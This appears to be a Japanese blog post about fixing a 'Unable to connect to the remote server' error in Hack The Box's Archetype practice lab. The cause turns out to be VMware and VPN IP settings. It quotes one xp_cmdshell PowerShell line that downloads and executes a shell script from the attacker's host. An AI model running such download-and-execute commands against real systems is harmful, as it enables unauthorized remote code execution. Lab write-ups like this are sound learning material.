⚔️
Hack The Box の Archetype で「Unable to connect to the remote server」
経緯
【Hack The Box】Starting Point(Archetype) - Qiita
上記の記事を見ながらStarting Point の Archetype をやっていたところ,SQLサーバー内で
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://自分のIP/shell.ps1\");"
を実行したら
Unable to connect to the remote server
とエラーが出た
原因
ホスト側のWindows10からOpenSSHで接続しており,VMware上のKali LinuxでHack The Boxをやっていたが,そこに問題があった.
VMwareの設定で仮想環境内のIPアドレスはホスト側のIPアドレスを用いるようになっており,ssh接続で割り振られたIPアドレスになっていなかった.
hostname -I
でIPアドレスを確認してもホストと同じIPアドレスしか表示されなかったため気付かなかった.
解決方法
ホスト側でのOpenSSHを切断し,仮想環境内で接続する
- 仮想環境内でHack The BoxからOpenSSH用のファイルをダウンロードする(この時MachinesではなくStarting Pointの方を選ぶ)
- ターミナルで
sudo openssh [ダウンロードしたファイル]
を実行 -
hostname -I
でIPアドレスを確認
この時いくつか表示されるが,10から始まるものを使用する
最後に
初めてのHack The Box だったため勝手が分からず予想外のところで引っかかってしまった.
ホスト側で接続してやることもできると思うのでまた調べてみようと思う.
参考
Kali/HTB/Archetype - "Unable to connect to the remote server"
Discussion